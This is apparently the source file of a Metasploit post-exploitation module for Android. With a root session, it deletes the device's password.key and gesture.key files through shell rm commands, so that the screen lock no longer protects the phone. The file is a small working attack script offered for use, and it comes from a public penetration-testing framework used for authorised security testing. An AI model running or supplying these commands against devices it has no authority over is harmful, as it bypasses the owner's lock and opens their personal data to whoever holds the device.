Path: blob/master/modules/post/android/manage/remove_lock_root.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Common7include Msf::Post::Android::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Android Root Remove Device Locks (root)',14'Description' => %q{15This module uses root privileges to remove the device lock.16In some cases the original lock method will still be present but any key/gesture will17unlock the device.18},19'Privileged' => true,20'License' => MSF_LICENSE,21'Author' => [ 'timwr' ],22'SessionTypes' => [ 'meterpreter', 'shell' ],23'Platform' => 'android',24'Notes' => {25'Stability' => [CRASH_SAFE],26'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS],27'Reliability' => []28}29)30)31end3233def run34fail_with(Failure::NoAccess, 'This module requires root permissions.') unless is_root?3536%w[37/data/system/password.key38/data/system/gesture.key39].each do |path|40print_status("Removing #{path}")41cmd_exec("rm #{path}")42end4344print_status('Device should be unlocked or no longer require a pin')45end46end474849